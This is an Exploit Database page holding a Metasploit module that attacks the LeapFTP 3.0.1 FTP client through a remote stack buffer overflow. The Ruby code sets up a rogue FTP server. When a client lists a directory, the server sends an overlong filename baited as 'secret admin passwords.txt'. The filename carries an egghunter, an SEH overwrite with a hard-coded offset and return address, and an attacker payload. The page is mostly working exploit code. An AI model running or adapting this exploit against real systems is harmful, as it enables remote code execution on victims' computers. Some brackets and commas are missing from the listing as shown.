LeapFTP 3.0.1 – Remote Stack Buffer Overflow (Metasploit)

Exploit Database
102 阅读

作者： Metasploit

日期： 2010-11-14
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16704/

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# $Id: leapftp_list_reply.rb 11039 2010-11-14 19:03:24Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::FtpServer

include Msf::Exploit::Remote::Egghunter

def initialize(info = {})

super(update_info(info,

'Name' => 'LeapFTP 3.0.1 Stack Buffer Overflow',

'Description'=> %q{

This module exploits a buffer overflow in the LeapFTP 3.0.1 client.

This issue is triggered when a file with a long name is downloaded/opened.

'Author' =>

[

'corelanc0d3r',# Original bug, completed MSF module

'nullthreat' # Ported PoC to MSF

'License'=> MSF_LICENSE,

'Version'=> "$Revision: 11039 $",

'References' =>

[

[ 'OSVDB', '68640'],

[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'seh',

'Payload'=>

{

'Space'=> 1000,

'BadChars' => "\x00",

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

[ 'Windows Universal', { 'Offset' => 528,'Ret' => 0x0042A8A8 } ], # ADD ESP,64, POP EBX, RET :) boy I love pvefindaddr

'Privileged' => false,

'DisclosureDate' => 'Oct 12 2010',

'DefaultTarget'=> 0))

end

def setup

super

end

def on_client_unknown_command(c,cmd,arg)

c.put("200 OK\r\n")

end

def on_client_command_list(c,arg)

conn = establish_data_connection(c)

if(not conn)

c.put("425 Can't build data connection\r\n")

return

end

print_status(" - Data connection set up")

code = 150

c.put("#{code} Here comes the directory listing.\r\n")

code = 226

c.put("#{code} Directory send ok.\r\n")

# create the egg hunter

badchars = ""

eggoptions =

{

:checksum => true,

:eggtag => "W00T"

}

hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)

# Get the file ready

junk = "\x73\x65"#73 65 = jump over filename = "se"

junk << "cret admin passwords.txt"

junk << "_" * ((target['Offset'])-junk.length-hunter.length) # _ = POP EDI

junk << hunter

seh = [target.ret].pack('V')

shellcode = egg + egg + payload.encoded

junk2 = rand_text_alpha((2000 - shellcode.length))

payload = junk + seh + shellcode + junk2

strfile = payload

print_status(" - Sending directory list via data connection")

dirlist = "-rw-rw-r--1 1176 1176 1060 Aug 16 22:22 #{strfile}.txt\r\n"

conn.put("total 2\r\n"+dirlist)

conn.close

return

end